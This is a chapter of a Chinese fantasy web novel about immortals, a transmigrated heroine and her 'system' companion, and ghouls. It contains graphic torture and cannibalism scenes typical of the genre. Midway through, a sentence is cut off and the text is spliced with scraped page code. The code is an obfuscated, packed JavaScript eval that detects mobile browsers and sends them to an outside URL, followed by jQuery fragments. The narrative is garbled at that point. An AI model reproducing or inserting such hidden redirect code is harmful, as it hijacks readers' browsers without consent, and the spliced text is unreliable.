怀川的质问声落下的瞬间，雁山突然闯入房内，刺穿曲如霜的胸膛。


    曲如霜不可置信地抬眸，未料到他会突然出现在这里，更会这般毫不犹豫地杀了她。


    他都听到了。


    望着怀川满含杀意的双眼，曲如霜吐出一口鲜血，片刻后，倏地笑出声来。


    “是你来杀我，我很高兴。”


    曲如霜被苏扶月施法定住，动弹不得，只能任由他将剑刺的更深。


    雁山没有回应曲如霜，只猩红着双眼将剑刃刺的更深。


    所有人的目光都落在突然闯入房内的雁山身上，只有苏扶月偏头望向了门外那一道身影。


    身着一身玄色衣衫的男人站在门外与她相望，眉眼间的疲惫难掩，但望向她时还是强撑着柔和的模样。


    再度瞧见周裔的苏扶月有一瞬间的恍惚，她迅速别开目光，压下那心头不该有的念头。


    每当周裔用那柔和的目光望向她时，她总是能够忆起那些与他在一起的甜蜜时光，她恨这样的自己。


    她不属于这个世界，她早就该回到现实世界的，是周裔强迫她留了下来，他是他的仇人，她不该对他再产生那些情绪。


    一番心理建设，再抬眸时，苏扶月望向周裔的眼神内带上了厌恶。


    周裔与苏扶月朝夕相伴二十余载，自然也瞧出了她心底的厌恶，他明白她厌恶他的原因，可他没有办法退步。


    映安见雁山要再造杀孽，连忙上前阻拦却被雁山一掌推开。


    “雁山！”


    望着眼前的雁山，映安只觉得心头一阵疼。


    自打喻月柔死后，雁山就变了。他再也不是那个处处为她着想，提醒着她莫要再犯错的好兄长了。


    他为了一个凡人，造下一笔又一笔的杀孽。


    雁山的额角多了许多白发，映安心疼地望着他。


    那些都是他每造下一笔杀孽后天道对他的惩戒。


    天道的惩戒无声，却在偷偷抽走他的寿命。


    “你别再犯傻事了。”


    映安哽咽着上前，试图拦住再犯下一笔杀孽的雁山。


    可眼前却没有停下手中的动作，他迅速将剑从曲如霜的胸膛拔出。


    曲如霜疼地昏了过去，她以为她死了，可雁山却用灵力将她复活，一遍又一遍地让她遭受蚀骨剜心之痛。


    桑慕华未料到雁山竟然如此狠绝，她立即上前阻拦雁山，却被雁山打开。


    苏扶月的视线依旧落于门外的周裔身上。


    “宿主，”阿尚自然也注意到了周裔，他走至苏扶月的身侧，低声道：“我去引开周裔，你去抢夺噬心铃碎片。”


    苏扶月闻声回神，只听阿尚道：“噬心铃就在雁山胸前的衣襟里。”


    苏扶月微点头，示意阿尚。


    屋内混乱成一团，此时正是苏扶月抢夺噬心铃碎片的好时机。


    周裔见阿尚顶着那张与他相似的脸站于苏扶月身侧，心中的嫉妒难掩，将原本握于手中的寒玉重新化为骨剑，欲再次杀了阿尚。


    只要杀了阿尚，将他永远赶出这个世界，苏扶月便永远都只属于他一个人了。


    到时他会再次将苏扶月带回沧溟海，重新进入虚妄之镜，再度创造一个毫无破绽的幻境，与她长相厮守。


    身为系统的阿尚自然一眼便看出了周裔的想法，他望着周裔，在他震惊的目光中，同样幻化出一把骨剑。


    …


    雁山杀死曲如霜后便立即逃出了万花楼，苏扶月追了出去，只留桑慕华还立于屋内。


    桑慕华望着早已断气的曲如霜摇摇头，替她重新整理了衣衫，也跟随着苏扶月一行人的脚步而去。


    离开万花楼后夜已深，那些白日里还心存理智的尸鬼忽然变得暴躁发狂，意图挣脱开身上的禁锢。


    躲在屋内的百姓听着街上的暴动，心里害怕的紧，但听闻有仙人将那些尸鬼都绑了起来后，有人意图悄悄将尸鬼烧死，想着这样便能绝了夜晚那难听嘶哑的声音。


    他们这般想着，便也决意这般做，可当他们拎着油桶走出房门后，瞧见那些尸鬼都被困于院墙旁后，握着油桶的手倏然脱力。


    “这要是烧死他们，我们的家也没了，得不偿失啊。”


    “反正他们都被那群仙人绑起来了，我们把他们抬走，弄到一旁集中烧死不就行了？”


    “虽然他们被绑起来了，但他们的嘴没有被封住，”有人提醒，“到时候他们突然咬我们一口，我们突然变成尸鬼怎么办？”


    “那就把他们的嘴堵上！办法总比困难多。”


    起头人心中也害怕，但为了能够不再受这些尸鬼威胁，他们只能将他们烧毁。


    他们撕下衣衫揉做一团，向那些长着獠牙的尸鬼嘴中塞去。


    塞紧后，那些尸鬼的只能发出难听的唔噎声。


    确定尸鬼不会咬伤他们后，几人才准备抬走那些尸鬼，却未料到他们根本无法将那尸鬼移动。


    “搬不动啊。”


    几人不信邪，又试了几次，确认是真的搬不动后才放弃。


    “那些仙人估计算到了我们会烧死这些尸鬼，所以才将他们困在我们的院墙周围。”


    “罢了，反正对我们也没什么威胁，都回去睡觉吧。”


    “回吧回吧，回去之后记得好好洗个澡，把这身衣服烧了。”


    “都明白都明白。”


    嘱托完，约好一起烧尸鬼的众人才各自回了宅院。


    因着户户紧闭，所以没有人瞧见知府衙门燃起的大火。


    苏扶月见南面火光熊熊，心中暗道一声不好，幻化出灵鸟向火灾的方向飞去，替其降下一场大雨，熄灭了那场大火。


    她跟着雁山来到了乱葬岗，映安与怀川紧随其后。


    映安告诉苏扶月，“我就是在此处瞧见的雁山与月柔姑娘，那时的月柔姑娘已经失去了理智，吃了许多被扔到乱葬岗的尸体。”


    听着映安的话，怀川倏然忆起那日在乱葬岗瞧见喻月柔的场景。


    “那日我听闻月柔被一卷草席扔到乱葬岗后便来寻找她的尸体，同样望见了她正在啃食那些腐烂的尸体。”


    那时的怀川望向喻月柔的眼神里满是不可置信，他不相信眼前那个正在啃食尸体的怪物是喻月柔，可抬眸望见那张熟悉面容的他又不得不信。


    那一夜他本可以带她走的，是雁山突然出现


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16768202|188408||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    在他的身前，将恢复些许理智的喻月柔带走了。


    “这里有结界，”灵鸟重新飞回苏扶月的掌心，她抬眸重新打量四周，良久后才张口：“他们从没有离开这里，而是在结界内创造了一个属于他们二人的家。”


    苏扶月重新汇聚灵力，解开雁山设置于他们几人眼前的迷雾。


    虽说苏扶月如今的法力大不如前，但终归也是修炼万年的上神，小小结界，她还是解得开的。


    乱葬岗周边的迷雾散去后，一座竹屋瞬间现于眼前。


    竹屋周边的环境优美，与他们身后的乱葬岗对比在一起，显得十分割裂。


    屋内亮着烛火，苏扶月带着映安与怀川悄悄走近，只见雁山将一只从城内抓回来的尸鬼送至喻月柔身前。


    喻月柔的手已再次露出白骨，那才刚刚恢复的脸又开始腐烂。


    她僵硬地抬眸望着雁山，见他又带回食物，她学着往日雁山对他笑的模样，露出那开始发黑的牙齿。


    映安望着这般模样的喻月柔险些吐出来，但雁山望向她的眼神依旧温柔似水，仿若她还是曾经的模样一般。


    噬心铃在雁山的掌心，苏扶月的视线一直盯着雁山，等待着抢夺噬心铃碎片的时机，而怀川的目光一直落于喻月柔的脸上。


    即便已经望见过喻月柔啃食尸鬼的模样，再次望见这一幕的怀川仍旧觉得不可置信。


    喻月柔将尸鬼身上残存的腐肉啃食殆尽，又徒手将他胸膛的心脏取出，一口吞下。


    吞下心脏的瞬间，喻月柔的皮肉瞬间恢复。


    原本在万花楼被雁山“杀”死的曲如霜被扔至喻月柔身前，曲如霜惊恐地望着她，生怕下一瞬她便会成为她的盘中餐。


    “她这副模样都是拜你所赐，”雁山走至曲如霜身前，将她拎起来，带到喻月柔身前，那张满含怒意的脸瞬间变得温柔，“月柔，咬她，将她变成你的同类，明日她便是你的盘中餐。”


    喻月柔僵硬地歪脖，她的双目空洞，可却仍旧做出一副打量的模样。


    曲如霜痛苦地挣扎着，一遍又一遍地唤着喻月柔，“月柔，我是姐姐啊，我是姐姐啊。”


    “姐……姐？”


    喻月柔木讷地重复这两个字，半晌后才僵硬张口：“什么是……姐姐？”


    她偏头，目光落于雁山身上，等待着雁山回答。


    雁山只轻柔地抚摸着喻月柔的脸庞，眉眼间带着温暖的笑意，说出来的话却冰冷刺骨。


    “姐姐……是你的……”


    “盘中餐。”


    曲如霜惊恐偏头，试图挣脱开雁山，她不愿变成和喻月柔一样丑陋的模样。


    “咬她，月柔。”


    “咬她，将她变成尸鬼，那样你便不会再痛苦了。”


    被控制的喻月柔很听雁山的话，她抬起那双又开始腐烂的手，缓缓抚摸着曲如霜的脖颈，倾身轻嗅。


    身为尸鬼她闻不到她的香气，但她觉得她应该闻一闻，仿若这是她很久以前就会做的动作。


    “月柔，我是姐姐啊。”


    曲如霜害怕地颤抖着，再度试图唤醒喻月柔，却未料到她毫不犹豫地咬上她的脖颈，将她变成了同类。